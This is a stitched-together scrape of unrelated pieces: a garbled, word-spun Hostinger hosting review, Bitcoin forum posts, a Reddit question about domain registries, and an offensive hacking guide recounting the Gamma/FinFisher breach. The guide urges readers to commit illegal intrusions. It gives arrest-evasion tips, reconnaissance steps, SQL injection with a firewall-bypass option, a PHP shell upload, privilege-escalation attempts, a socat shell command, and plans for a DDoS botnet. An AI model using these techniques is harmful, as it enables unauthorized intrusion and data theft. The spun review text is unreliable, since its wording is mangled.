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Could Hostinger offer that? I have my assessments; however I would not like to put together my audit with respect to my supposition alone. As Website Planet is accessible in various dialects, for some odd reason we have web hosting specialists dissipated everywhere on over the world. This was my brilliant chance to play out an enormous scope test, and I chose to do precisely that. We had 30 specialists join to Hostinger and dispatch a neighborhood form of our testing website in 30 distinct nations. They messed with each accessible element, observed stacking velocities and execution, and even besieged client care with questions. They contrasted the outcomes and other mainstream has, as SiteGround and InterServer. This speedy response to every one of our inquiries is that Hostinger performed strikingly well. In certain nations, similar to Russia, it came in at #4. In others, similar to Israel, Hostinger grabbed the #1 place. Peruse on for the long answer. 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From simple auto establishments and DNS zones setups to email accounts, a record administrator, and MySQL information bases, it's all fundamentally the same as what cPanel offers. However, a few things are unique. For instance, auto establishments in cPanel are finished with Softaculous, which additionally lets you clone your site, set up an arranging variant, and even design a reinforcement plan. cPanel's Auto Installer works admirably at auto-introducing WordPress, yet does not have these valuable additional items. Progressed email highlights, such as mailing records, channels, and routings, are additionally absent from cPanel. Did I ever really use them myself when they were accessible to me? Truly, never. I don't know who does. Yet, that is cPanel for you – it probably won't be equipped for everything, except it's certainly enough for most clients. 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Regardless of what you think and regardless of what anyone might've let you know – you need a SSL. Why? Since without a SSL authentication to scramble and secure your guests' information, the numerous wrongs prowling on the web will seek it. You'll not exclusively be taking a chance with your undertaking and your guests' wellbeing; however you'll additionally endure a shot on Google's rankings. Today, Hostinger furnishes a SSL with the entirety of its arrangements. In the metaphorical yesterday, which for my situation was only two or three months back, no testament was given. What will happen tomorrow is impossible to say. Hostinger regularly messes with its arrangement highlights, and I propose that you triple-check and ensure that a SSL is to be sure included with your arrangement. Realize that if a SSL is excluded, it's conceivable to buy one as a different extra. In any case, that shouldn't be the situation. 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I was given the choice to consequently introduce WordPress as a major aspect of the information exchange measure, however I decided to do it the normal way, utilizing the control board itself, to check how Hostinger's apparatuses contrast with what different hosts give. Presently, my domain was really included with the expectation of complimentary when I bought the Single arrangement, which means it was at that point associated with the hosting. Today, for reasons unknown, just the serious plans accompany a free domain. In the event that you wind up getting your domain name from another supplier, interfacing it is simple. Nameserver data is promptly accessible at the head of your hosting subtleties page, and you should simply duplicate glue them into your domain board. Shouldn't something be said about WordPress? I opened the Auto Installer instrument, picked WordPress as my CMS of decision, and entered the essential website subtleties. It was much easier than how Softaculous gets things done, and my new website was ready for action inside one moment. Dealing with Your Hosting with hPanel Is Simple We've secured the way toward getting your website on the web, however starting here on you'll despite everything use cPanel to make alters and changes to your hosting. Setting up an email account, running manual reinforcements, dealing with the information bases, and the sky is the limit from there, are largely possible through cPanel. How can everything contrast with getting things done with cPanel? Indeed, as I would like to think, it's out and out simpler. hPanel symbols are greater and better sorted out, the interface isn't as jumbled with additional alternatives that you'll never utilize, and the combination with Hostinger's different administrations (uphold, buying additional items, seeing charging) is consistent. All in all, would we be able to consider it an ideal usability experience? Actually no, not so much. The explanation, as I said previously, is that periodically your work process will be harmed by up sell pop-ups. Think rolling out a basic improvement to your DNS records, just to be welcomed with this: I didn't "Increase present expectations." I didn't really do anything aside from sign in. Yet, Hostinger is enthusiastic about pushing plan redesigns, and you'll need to consistently be set up to close down these endeavors, of which there are many. Don't count on the possibility that these pop-ups imply that you've by one way or another spent your assets and need to redesign. Pass on, It's the Quickest Common Hosting Administration We Tried Speed and uptime that is what I'm searching for. Tragically, shared hosting administrations will in general vacillate in these regions, no doubt. The explanation is that as the name infers, you're offering assets to numerous different clients and their websites – in some cases up to many others. It takes an extraordinary host to adjust everything and stay away from a bottleneck circumstance where everything's moderate and no one's cheerful. I'm extremely glad to report that Hostinger exceeded expectations in the presentation tests, yet it really surpassed each other shared host that we tried, including the top-level SiteGround, FastComet, and InMotion Hosting. The main two has that improved, and just barely, were the superior Fluid Web (Nexcess) and Kinsta. Incidentally, they can cost around 20 fold the amount of as Hostinger. Just to give you a thought of Hostinger's capacities, the normal stacking season of my completely fledged greeting page was an exceptional 1.56s, and uptime over a couple of long stretches of testing was as much as 99.99%, precisely as guaranteed. I'm going to nerd out and clarify the testing technique and the outcomes in detail, yet on the off chance that you needn't bother with all the specialized data, don't hesitate to avoid ahead to my encounters with Hostinger's help. I'll simply say it again – Hostinger's presentation shook. As I do with all hosts I test, I stretched out Hostinger the chance to streamline my website and make it quicker. This is something you can (and should) do too – simply approach uphold for help. The operator prompted that I update WordPress and PHP to their most recent forms, and introduce a couple of regular enhancement modules. I actualized the exhortation, and continued with testing. The testing itself was finished utilizing three apparatuses: GTmetrix Genius, the Sucuri Burden Time Analyzer, and Uptime Robot's Professional arrangement. The Dallas, TX, GTmetrix worker was utilized to quantify speed and advancement scores in the US. Sucuri was utilized for worldwide execution experiences, and Uptime Robot – who could have imagined – for following the website's uptime and accessibility online in rates. GTmetrix I ran various GTmetrix tests over a couple of months, totaled the outcomes, and determined the best, slowest, and normal paces. Hostinger indicated a promising normal stacking season of 1.56s. The best recorded time was 1.0s, and the slowest one was 1.9s. Not exclusively is the slowest stacking time well underneath the 3s imprint (where the majority of your guests will likely escape), however the normal scores demonstrate that Hostinger is as solid as anyone might imagine. You can see that score-wise, we're getting twofold Bs. That is totally satisfactory, yet in addition probably the most noteworthy score I found in my tests. The main thing left to do so as to get full scores is to improve the pictures further. Sucuri Burden Time Analyzer As with GTmetrix, I ran Sucuri tests on numerous occasions. Sucuri gives you the stacking speed results for some worldwide areas, and I determined the midpoints of the quickest area (which was obviously in the US, near my server farm), the slowest area (Bangalore, India – the opposite side of the world), and the worldwide normal. The normal for the quickest area was an incredible 0.177s, while even in old fashioned Bangalore the normal was good – 1.11s. The worldwide normal was 0.499s, which earned my website an A worldwide position. Frankly? I was shocked by these numbers. A worldwide normal of 0.499s is unfathomable for a common host, and everything I did to "streamline" my site was introduce a couple modules. There wasn't so much as a CDN (Content Conveyance System) dynamic. That is LiteSpeed and LSCache for you, women and respectable men. Get it while it's hot. Uptime Robot What great are quick speeds if your website has low accessibility? Nothing but bad. Fortunately, Hostinger is keeping it tight with practically immaculate uptime – 99.997% in the course of recent months. I'm proceeding to track and update the outcomes; however coming barely short of 100% is actually what I request from my host. Uptime ensure shrewd, the circumstance is somewhat extraordinary. There's apparently a 99.99% uptime ensure gave, yet Hostinger has a genuine scrappy lawful clarification of when and how you can get your cash back. It generally seems like "never" to me, and regardless of whether you some way or another fit the bill for a cash back (as exclusively dictated by them), it's a measly 5% of your month to month cost. Goodness, and it's only for store credit. In any case, beside this assurance issue, Hostinger truly blows it out of the recreation center in the exhibition test. When Extraordinary, Presently… Requires Tolerance As a long-term client of Hostinger, I've had the delight of testing it over and over… and once more. One of my preferred pieces of the administration used to be the help. There wasn't (and still isn't) any telephone uphold accessible, yet stunning, was live talk a successful method of finding support. Day in and day out help, kept an eye on by experts, and supported by a broad information base of immense extents. The main issue? While the operators used to react in a flash, today they take around 40 minutes to hit you up. In some cases live talk isn't even accessible, and you're moved to some ticket/email framework which I've had next to no karma with. I'll be totally fair with you about what this implies: it will be you and the information base. You can't rely on having an hour accessible to just stick around, and in any event, when the operators do reply, that is only the start of the cycle. With 3 brief reaction times in the middle of messages, posing some straightforward inquiries can expand into a whole workday. The Least expensive Long haul Costs Available, by a wide margin Truly, people, this is the explanation you understand this. While going over the many hosting choices accessible today, Hostinger's costs stick out. That is to say, $0.99 every month? That is excessively modest. What's the trick? Straightforward. Hostinger needs you to pursue a significant stretch of time, and it will give you motivating forces to do as such. Four installment periods are accessible: month to month, yearly, bi-yearly, and quadrennial. That final word implies four years, and it's scarcely utilized in light of the fact that practically no other host approaches you to pursue that long. Fortunately pursuing four years will net you what's without a doubt the best cost in the market for shared hosting. Different hosts charge a comparable cost for a yearly arrangement. Crunch the numbers yourself. What's the circumstance when pursuing shorter periods? All things considered, bi-yearly and yearly plans aren't costly, yet they're significantly more in accordance with the market normal. Month to month plans accompany an arrangement expense and don't bode well. Worth insightful, up to a SSL is incorporated (check!), the plans are totally comparable to the business standard. There's additionally a 30-day unconditional promise, so you'll have adequate opportunity to test the administration yourself and check whether it's a solid match. One thing to see during the checkout cycle is that there are a couple of discretionary extra administrations. Fortunately, none of them come pre-checked. I suggest that you skip them all. You can generally include them later at a similar cost, or "convince" a help operator to give you a superior arrangement… dangers of leaving the administration can do something amazing here. Searching for a free domain? Now and again it's remembered for the plans; some of the time it isn't. The serious plans normally accompany one when pursuing a year or more. At the point when I joined, a domain was additionally remembered for the fundamental arrangement. Presently it isn't – go figure. Concerning making installments, notwithstanding the normal charge card and PayPal choices, you'll additionally have the option to pay with bitcoin and different cryptographic forms of money. Whatever your reasons are for needing to have a website secretly, crypto is the best approach to do as such. Hostinger's reasonable shared hosting plans merit your time, your cash, and your thought. Execution has been shockingly extraordinary, and keeping in mind that it's not the most element pressed contribution around, it has all that you truly need. Would it be advisable for you to put it all on the line? In case you're constructing a blog, a business page, an individual task, or a comparative little to-medium website, my answer is a resonating yes. In the event that it's a web based business store you're hoping to fabricate, or a mind boggling administration like an online course gateway, you'll need something more remarkable than shared hosting. It'll cost you, yet Fluid Web and Kinsta are both better prepared for such ventures.
I wrote an offline Bitcoin block explorer that loads data from Bitcoin Core and allows you to explore the blockchain on your PC
Dear /Bitcoin, I wrote a set of tools to import data from .bitcoin/blocks/blkXXXXX.dat files into databases and allow you to explore the blockchain on your own PC by running ad-hoc queries of all the main Bitcoin Core data structures including blocks, TX's, inputs, outputs, addresses and more. It's written in C++ and uses Bitcoin Core itself to read the data, so it's always 100% compliant with the latest Bitcoin release. I abstracted away the database functions, so you can implement "drivers" for any other DB system. I've been playing with it on MySQL but perhaps others would prefer Neo4J or Cassandra for nosql graph analysis. Once the data is loaded, you can run any database query against it. I implemented a simple reference Python interface to it so you can play with the blockchain. I made this outer layer in Python but any other language can be easily plugged in, including big data analysis systems like Spark or Hadoop. Some stuff you can do with it:
Trace any Bitcoin address funds by building a graph
Run your own local block explorer without any external API
Add and subtract inputs/outputs to build whatever statistics
Plug in viz modules to output graphical stuff from the data
While loading the block files it does some additional work :
Creates an index of block position in .dat files. Bitcoin Core does this but access to the index is locked while Core is running. With Toolbox you can play with this data even while Bitcoin Core is running independently. With this index you can go back to the raw data any time. This can be turned into a website service and exposed via an API
Generates a address graph, resolving previous outputs from inputs and building a DB table with source and destination TX's and addresses side by side. It's like a WWW block explorer in your own database which you can query in any way.
Addresses, TX's and all other data structures are decoded by Bitcoin Core itself. The C++ Toolbox links to Bitcoin Core and uses the canonical implementation, so the loaded data is accurate. The Python reference implementation is almost 100% independent from the C++ code (except for configuration code which shares the same parameters and config file as the C++ Toolbox). Released under the MIT license. I hope you like playing with it!
190 университетов бесплатно выложили сотни своих курсов. Если вы не слышали, университеты по всему миру предлагают свои курсы онлайн бесплатно (или, по крайней мере, частично бесплатно). Эти курсы называются БООК или Большие открытые онлайн–курсы. Часть 1
--1-- Introduction I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple it is, and to hopefully inform and inspire you to go out and hack shit. If you have no experience with programming or hacking, some of the text below might look like a foreign language. Check the resources section at the end to help you get started. And trust me, once you've learned the basics you'll realize this really is easier than filing a FOIA request. -- 2 -- Staying Safe This is illegal, so you'll need to take same basic precautions:
(Optional) While just having everything go over Tor thanks to Whonix is probably sufficient, it's better to not use an internet connection connected to your name or address. A cantenna, aircrack, and reaver can come in handy here.
As long as you follow common sense like never do anything hacking related outside of Whonix, never do any of your normal computer usage inside Whonix, never mention any information about your real life when talking with other hackers, and never brag about your illegal hacking exploits to friends in real life, then you can pretty much do whatever you want with no fear of being v&. NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable for some things like web browsing, when it comes to using hacking tools like nmap, sqlmap, and nikto that are making thousands of requests, they will run very slowly over Tor. Not to mention that you'll want a public IP address to receive connect back shells. I recommend using servers you've hacked or a VPS paid with bitcoin to hack from. That way only the low bandwidth text interface between you and the server is over Tor. All the commands you're running will have a nice fast connection to your target. -- 3 -- Mapping out the target Basically I just repeatedly use fierce.pl, whois lookups on IP addresses and domain names, and reverse whois lookups to find all IP address space and domain names associated with an organization. For an example let's take Blackwater. We start out knowing their homepage is at academi.com. Running fierce.pl -dns academi.com we find the subdomains:
Doing a whois lookup on academi.com reveals it's also registered to the same address, so we'll use that as a string to search with for the reverse whois lookups. As far as I know all the actual reverse whois lookup services cost money, so I just cheat with google:
Now run fierce.pl -range on the IP ranges you find to lookup dns names, and fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more whois lookups and repeat the process until you've found everything. Also just google the organization and browse around its websites. For example on academi.com we find links to a careers portal, an online store, and an employee resources page, so now we have some more:
If you repeat the whois lookups and such you'll find academiproshop.com seems to not be hosted or maintained by Blackwater, so scratch that off the list of interesting IPs/domains. In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com was simply a whois lookup of finfisher.com which found it registered to the name "FinFisher GmbH". Googling for:
"FinFisher GmbH" inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com ...so now you've got some idea how I map out a target. This is actually one of the most important parts, as the larger the attack surface that you are able to map out, the easier it will be to find a hole somewhere in it. -- 4 -- Scanning & Exploiting Scan all the IP ranges you found with nmap to find all services running. Aside from a standard port scan, scanning for SNMP is underrated. Now for each service you find running:
Is it exposing something it shouldn't? Sometimes companies will have services running that require no authentication and just assume it's safe because the url or IP to access it isn't public. Maybe fierce found a git subdomain and you can go to git.companyname.come/gitweb/ and browse their source code.
Is it horribly misconfigured? Maybe they have an ftp server that allows anonymous read or write access to an important directory. Maybe they have a database server with a blank admin password (lol stratfor). Maybe their embedded devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's default password.
Is it running an old version of software vulnerable to a public exploit?
Webservers deserve their own category. For any webservers, including ones nmap will often find running on nonstandard ports, I usually:
Browse them. Especially on subdomains that fierce finds which aren't intended for public viewing like test.company.com or dev.company.com you'll often find interesting stuff just by looking at them.
Run nikto. This will check for things like webserve.svn/, webservebackup/, webservephpinfo.php, and a few thousand other common mistakes and misconfigurations.
Identify what software is being used on the website. WhatWeb is useful
First try that against all services to see if any have a misconfiguration, publicly known vulnerability, or other easy way in. If not, it's time to move on to finding a new vulnerability: 5) Custom coded web apps are more fertile ground for bugs than large widely used projects, so try those first. I use ZAP, and some combination of its automated tests along with manually poking around with the help of its intercepting proxy. 6) For the non-custom software they're running, get a copy to look at. If it's free software you can just download it. If it's proprietary you can usually pirate it. If it's proprietary and obscure enough that you can't pirate it you can buy it (lame) or find other sites running the same software using google, find one that's easier to hack, and get a copy from them. For finsupport.finfisher.com the process was:
Start nikto running in the background.
Visit the website. See nothing but a login page. Quickly check for sqli in the login form.
See if WhatWeb knows anything about what software the site is running.
WhatWeb doesn't recognize it, so the next question I want answered is if this is a custom website by Gamma, or if there are other websites using the same software.
I view the page source to find a URL I can search on (index.php isn't exactly unique to this software). I pick Scripts/scripts.js.php, and google: allinurl:"Scripts/scripts.js.php"
I find there's a handful of other sites using the same software, all coded by the same small webdesign firm. It looks like each site is custom coded but they share a lot of code. So I hack a couple of them to get a collection of code written by the webdesign firm.
At this point I can see the news stories that journalists will write to drum up views: "In a sophisticated, multi-step attack, hackers first compromised a web design firm in order to acquire confidential data that would aid them in attacking Gamma Group..." But it's really quite easy, done almost on autopilot once you get the hang of it. It took all of a couple minutes to:
google allinurl:"Scripts/scripts.js.php" and find the other sites
Notice they're all sql injectable in the first url parameter I try.
Realize they're running Apache ModSecurity so I need to use sqlmap with the option --tamper='tampemodsecurityversioned.py'
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1 https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it's database admin! For MySQL this means you can read and write files. It turns out the site has magicquotes enabled, so I can't use INTO OUTFILE to write files. But I can use a short script that uses sqlmap --file-read to get the php source for a URL, and a normal web request to get the HTML, and then finds files included or required in the php source, and finds php files linked in the HTML, to recursively download the source to the whole site. Looking through the source, I see customers can attach a file to their support tickets, and there's no check on the file extension. So I pick a username and password out of the customer database, create a support request with a php shell attached, and I'm in! -- 5 -- (fail at) Escalating < got r00t? >
Root over 50% of linux servers you encounter in the wild with two easy scripts, Linux_Exploit_Suggester, and unix-privesc-check. finsupport was running the latest version of Debian with no local root exploits, but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user www-data can write to /etc/cron.hourly/mgmtlicensestatus WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer so I add to /etc/cron.hourly/webalizer:
wait an hour, and ....nothing. Turns out that while the cron process is running it doesn't seem to be actually running cron jobs. Looking in the webalizer directory shows it didn't update stats the previous month. Apparently after updating the timezone cron will sometimes run at the wrong time or sometimes not run at all and you need to restart cron after changing the timezone. ls -l /etc/localtime shows the timezone got updated June 6, the same time webalizer stopped recording stats, so that's probably the issue. At any rate, the only thing this server does is host the website, so I already have access to everything interesting on it. Root wouldn't get much of anything new, so I move on to the rest of the network. -- 6 -- Pivoting The next step is to look around the local network of the box you hacked. This is pretty much the same as the first Scanning & Exploiting step, except that from behind the firewall many more interesting services will be exposed. A tarball containing a statically linked copy of nmap and all its scripts that you can upload and run on any box is very useful for this. The various nfs-* and especially smb-* scripts nmap has will be extremely useful. The only interesting thing I could get on finsupport's local network was another webserver serving up a folder called 'qateam' containing their mobile malware. -- 7 -- Have Fun Once you're in their networks, the real fun starts. Just use your imagination. While I titled this a guide for wannabe whistleblowers, there's no reason to limit yourself to leaking documents. My original plan was to:
Hack Gamma and obtain a copy of the FinSpy server software
Find vulnerabilities in FinSpy server.
Scan the internet for, and hack, all FinSpy C&C servers.
Identify the groups running them.
Use the C&C server to upload and run a program on all targets telling them who was spying on them.
Use the C&C server to uninstall FinFisher on all targets.
Join the former C&C servers into a botnet to DDoS Gamma Group.
It was only after failing to fully hack Gamma and ending up with some interesting documents but no copy of the FinSpy server software that I had to make due with the far less lulzy backup plan of leaking their stuff while mocking them on twitter. Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password already so I can move on to step 2! -- 8 -- Other Methods The general method I outlined above of scan, find vulnerabilities, and exploit is just one way to hack, probably better suited to those with a background in programming. There's no one right way, and any method that works is as good as any other. The other main ways that I'll state without going into detail are: 1) Exploits in web browers, java, flash, or microsoft office, combined with emailing employees with a convincing message to get them to open the link or attachment, or hacking a web site frequented by the employees and adding the browsejava/flash exploit to that. This is the method used by most of the government hacking groups, but you don't need to be a government with millions to spend on 0day research or subscriptions to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit for a couple thousand, and rent access to one for much less. There's also metasploit browser autopwn, but you'll probably have better luck with no exploits and a fake flash updater prompt. 2) Taking advantage of the fact that people are nice, trusting, and helpful 95% of the time. The infosec industry invented a term to make this sound like some sort of science: "Social Engineering". This is probably the way to go if you don't know too much about computers, and it really is all it takes to be a successful hacker. -- 9 -- Resources Links:
http://www.dest-unreach.org/socat/ Get usable reverse shells with a statically linked copy of socat to drop on your target and: target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:PORTNUM host$ socat file:tty,raw,echo=0 tcp-connect:localhost:PORTNUM It's also useful for setting up weird pivots and all kinds of other stuff.
The Web Application Hacker's Handbook
Hacking: The Art of Exploitation
The Database Hacker's Handbook
The Art of Software Security Assessment
A Bug Hunter's Diary
Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier
Aside from the hacking specific stuff almost anything useful to a system administrator for setting up and administering networks will also be useful for exploring them. This includes familiarity with the windows command prompt and unix shell, basic scripting skills, knowledge of ldap, kerberos, active directory, networking, etc. -- 10 -- Outro You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a tool. It's not selling hacking tools that makes Gamma evil. It's who their customers are targeting and with what purpose that makes them evil. That's not to say that tools are inherently neutral. Hacking is an offensive tool. In the same way that guerrilla warfare makes it harder to occupy a country, whenever it's cheaper to attack than to defend it's harder to maintain illegitimate authority and inequality. So I wrote this to try to make hacking easier and more accessible. And I wanted to show that the Gamma Group hack really was nothing fancy, just standard sqli, and that you do have the ability to go out and take similar action. Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned hackers, dissidents, and criminals!
What entity manages .com, .net, .gov, .us, .cn domains?
For the longest time I still have not a clue how this works. I am not sure if this is the right subreddit or something like networking This is all I understand so far about the web (or internet?), computers, and electronics in general (its super long just skip to bold part if you need to) INTERNET:
Computers linked to network with standard protocols, such as HTTP/ HTTPS over the world wide consortium standards, forming conglomerate of computers linked together. ISP's take information from said networks and transfer data to other ISP's via nodes, through hardwire connections and transatlantic cable.
IP addresses identify your local network through the ISP. Subnet mask, gateways, etc and traffic can be redirected via VPN. Also, on local side, you have the PC=>Router (optional) => Modem => ISP, where the router helps divide the modem so multiple PC's can connect to one line. Also WiFi operates by a specific hardware device (wifi dongle, router) and transfers information via electromagnetic waves. Same with cellphones (Via cellphone towers). Also satellites help direct cellular traffic through direct line of sight connections from user=>satellite=>user.
URL's utilize world wide consortium stsandards, using www. as the default subdomain, the web address, and the end? domain (like .com)
Domains are rented out through 3rd parties such as godaddy, and are never physically owned. Subdomains are like m.reddit.com (for mobile use) or MyWebsite.blogspot.com
Search engines like google uses properitary algorithms /datastacks/ web crawlers to build a huge database of all existing URL's and rates them through its servers (SEO)
Servers are just high powered PC's generally running Linux and processes incoming data / sends out packets of data, generally in fancy server rooms
DDoS is denial of service through botnet attacks via malware infections of computers, utilizing other people's computer resources (there's more than one way of doing this). Also, ports get overridden with lots of useless requests, denying service to legit people who want to use said site hosted on said server
Throttling occurs due to ISP's limiting data pipeline through its end, not sure what goes on here though
Deep web (or dark web?) is essentially hosting a bunch of private URLs, not visible publicly and accessed through specific private search engines.
Torrents are accessed via peer 2 peer (Seeding and leeching) and managed client-side with utorrent, rutorrent, etc which manages traffic for the requests for .torrent downloads, and public torrent links are through sites like pirate bay, kickass torrents, etc
Programming languages (Fortran, C++, Java) were generally formed originally from assembly code and binary in the form of different modules. People had different opinions of how data and protocols were made, so hence different languages
Virtual machines, its a high powered PC generally that divides its resources to host several virtual PC's. Lots of variations of how datastacks are managed
Personal computers work via motherboard, ram sticks, GPU (like nvidia GTX Titan or intel graphics 4000), Cores / hyperthreading (like corei7 from intel), monitors, etc. Say you run a PC without internet and run a game like witcher 3. You run an executable file, which is written by C++. GPU renders data supplied by executable, (e.g. render this room given this data under this game engine), ram (random access memory) is used as all the unprocessed data needs to sit somewhere?, various caches (L3) for processing common data quickly, core (i7) for processing data as a whole, motherboard and OS mediates all data being transferred.
Github is used for subversion control, and its now cloud based too (although it was originally local / lan only). Github is done via pulls , requests, call, etc. to monitor versions. You can technically emulate this on paper using sticky notes, but its not efficient
Hardware electronic wise, voltage and current is analgous to a water pipeline, where VOLUME WATER FLOW = CIRCUMFERENCE * VELOCITY WATER. In this case, POWER = VOLTAGE * CURRENT. Kerchoff's law, parallel series circuits, PCIBs, quantum theory, transistors (3 prongs), OR NAND NOT gates, arrays, resistors, potentiometers, timers, arduino, bread boards, soldering, relays, switches, that kind of thing (I'm not an EE). Anyways, hardware generally requires a specific amount of voltage and current for things to run on the computer
Operating Systems are linux, windows, macs, etc, and runs through a succession of modules created by assembly code and programming based languages such as C++.
DBMS utilizes crud (create read update delete). MySQL works. Can be emulated on a piece of paper, technically
XML (eXtensible markup language) just is used to communicate between different languages
API (application programming interface) is basically a user manual of all the functions publicly available to pull from a program, locally or on a server. E.G. imgur provides a bunch of API's, I can use its resources because I know said API, and make a program out of it. UPS has a bunch of available API, so I can pull that shit and make a ecommerce shipping module or something.
RAID (RAID 1-5) is just like how data is split into different hard drives. E.G. I have a file. File is split 3 ways into 3 different raid drives and pulled all at once when I request for it, its done this way because file transfers are faster when split into multiple data pipelines.)
Ads make the web profitable. Lots of big name companies make lots of $ selling services and goods at high margins, goes back and dumps money in marketing. Facebook CPC, youtube Ads, youtube videos with ads built into the video (techquickie), social media (instagram, kik, w/e), free game riddled with sidebar ads, banner ads, adblock letting forbe's ads through. Or 4% amazon commission based on referrals. Or Hulu plus style ads, pay to get rid of ads / pay for full service.
web services and goods. microsoft office, reddit gold, renting a server, anything on amazon, that kind of thing. Money.
bitcoin is cryptography based, and can be mined (but not profitable due to energy and hardware limitations for the average person). Bitcoin is generated through computers working out some sort of very encrpyted password node. Bitcoins stored on a server side application (Accessed via website), or through just a web URL, or a client side application (on your phone, desktop program). Bitcoin bought through local transactions, link credentials and bank account, also not easily traceable? (debatable here)
Blackhat Hacking (what people think of generally, not DIY hardware hacks, writing a program, or modifying an existing code) is done on unsecured websites. Usually said website is running some backend application like wordpress, shopify, drupal, modules commerce. Changes are made in the core code over time, and those changes sometimes lead to vulnerabilities that people aren't aware. Hackers send requests (MySQL injection is one of these?) to find more about how the server side application works, and looks for some way to override and obtain admin credentials by having server side reveal this information. White hat is the opposite. Red hat is for linux
Virus, worms, trojans. Usually runs on an attached .exe file or application, but has been known to somehow work with images too. Also worked with emails (worms) in the past. This is mostly magic to me too, I just know how to prevent it. PUP is just potentially unwanted programs (aka bloatware) that comes preinstalled from HP / ASUS/ ACER, etc, or comes along for the ride when you download a program off Cnet.
Data selling. Especially mobile apps (I mean you have to give them permission on everything), they take data, sell to data brokers, which businesses buy to make marketing decisions. Same with lots of things that don't seem to generate money, e.g. chrome plugins, you are the money generator for them via data. Insert google overlords and big 5 internet companies giving data to government via PRISM/snowden (didn't something like this go into effect in 2015?) . Also insert malicious data theft and brokers (social engineering, telemarketers trying to get your credit card, entering information on non HTTPS secured sites).
VoIP is just a specific protocol (like https) for how phone calls transferred over web, and maintain quality of said audio
Image compression is done via bit map rasterization. DNG files or propietary raw formats are utilized in native applications like adobe photoshop. .GIFS are simply image slideshows, actually all videos are image slideshows. Vectorization is mostly talked about when using illustrator or cad based programs (Solidworks, CATIA, AutoCAD)
Programs can be bypassed (e.g. Sony Vegas Pro) by core modification of its files (you'd need to breach password credentials though?) and be made into a "crack file" . A keygen treats the program normally, but just bypasses security checks externally (e.g. preventing company server from doing checks by blocking certain URLs, and a keygen from Xforce that is made by finding security criteria for successful serial# installs)
Rooting your phone is like getting full super user access on linux, but also comes at a price leaving you vulnerable to security breaches
Domain name service managers like namecheap just helps you manage how you rent your domain.
FTP is file transfer protocol to transfer files from one computer to another. SFTP is just secured FTP, whatever that means. SSH is shell access, e.g. almost like your sitting on that computer over on the other side of the world as opposed to just accessing files only.
Email servers are done by IMAP, POP3, email is transferred purely text based (attached files go through a different channel) to be sent from one email to another via email. POP3 is stored more localish side, IMAP is more server based (its slower, but easily accessible anywhere)
Windows API, windows registry, Linux commands are still magic to me. Sudo super user something.
Okay, but who manages the .info, .com, .net, .cn, .rs, and .gov top level domains? There's obviously some domains that are specific to countries, and are most likely managed by that countries' government entity. E.G (.us for usa? .ws for russia, .cn for china) but aren't nearly as popular as the .net and .com domains. .Org and .gov are US? government regulated top level domains to my knowledge, where .org is mostly nonprofit. U.S.A uses .gov domains for its government organizations So I understand that some countries government manages that domain. But what about public top level domains, like .com, .info, .net, .ca? Who manages the database for those? Who gives authority to godaddy for those domains for rent? Who mediates copyright conflicts for those domains? (E.G. say my name is Mike Cro Soft, and I wanted to rent a domain called mikecrosoft, but get DMCA'd / copyrighted by microsoft.com) Like, what are the big organizations mediating internet protocols and legislation on a global scale? Who or what has access to the biggest picture of the web, and its workings and backend? sorry for the long wall of text, I've been missing some vital information on how the web? (or is it internet?) works disclaimer: I don't take CS classes and did not major in computer science. So I might be really off in what i understand about the internet as a whole. Most of this is just what I learned from browsing reddit and youtube Apologies in advance if i butchered a bunch of terms and how things work. I just wrote things as they randomly came to me
[HIRING]BitQuick.co is redesigning and wants to hire from the Bitcoin community! $2-4k in BTC.
edit: thank you everyone for your interest, the position has been filled. Get excited, the new BitQuick is coming soon! Original forum thread: https://bitcointalk.org/index.php?topic=434009.new#new Feel free to reply here, on the forum, PM us, or email us! We are looking to hire by 2/2/14. Thanks guys! Quoted content from forum thread: Hi everyone, The BitQuick team (BitQuick.co, BitQuick.tw, BitQuick.in, AltQuick.co) is upgrading our website. We are looking to hire a developer or developer team from the Bitcoin community that believes they can put our ideas to reality. The current website currently runs on PHP5 and utilizes a mySQL database. You should have experience with graphics. We will need a basic logo, along with other graphical changes. Most of the changes will be made to the front-end interface, not so much how the website functions. We are shooting for completion in 3 months or less. The quicker, the better the pay. We are looking to pay $2,000 to $3,000 in Bitcoin (negotiable) depending on how fast it can get done, and exactly which features can be implemented. If you are interested, please post below, shoot us a PM or email us: [email protected] A brief description of why you think you are good for the job, a resume and references to previous work would be helpful as well, but are not required. We are looking to work out all the details and have someone chosen for the job by 2/2/2014.
I managed to get my Skyhook running on a Raspberry Pi 3 and it is successfully using the new Blockchain API v2 via the blockchain-wallet-service. The send-bitcoin process via the v2 service on the Pi3 takes only about 5 seconds. Not too bad at all. Although it may be possible to image a MicroSD card with the contents of the regular Pi1 SD card, I opted to start from a fresh Rasbian Jessie (non-lite) install and start assembling the pieces from there. After the usual Raspberry Pi setup procedures (expand filesystem, configure to boot to console, apt-get update, apt-get dist-upgrade etc etc)... here is a list the things I needed to address to get everything working. Please note I assembled this list through a lot of trial and error and had to backtrack a few times. I tried to keep track of just what was necessary but it is possible I missed some items from my notes below. I mounted my original skyhook SD card via USB on my Pi3 so I could copy across files as needed. Whenever copying files, keep the permissions and ownership etc (cp -a) Also, when copying over config files, keep the original if possible. Sometimes handy to reference. Install needed packages Compare your old and new /vacache/apt/archives and start filling in the missing pieces. I started with php5, php5-mcrypt, apache2 etc. etc. I didn't try to duplicate those lists... just installed the obviously needed ones. Main skyhook web directory Copy your /vawww/btc dir across to the new pi. Configure PHP Copy 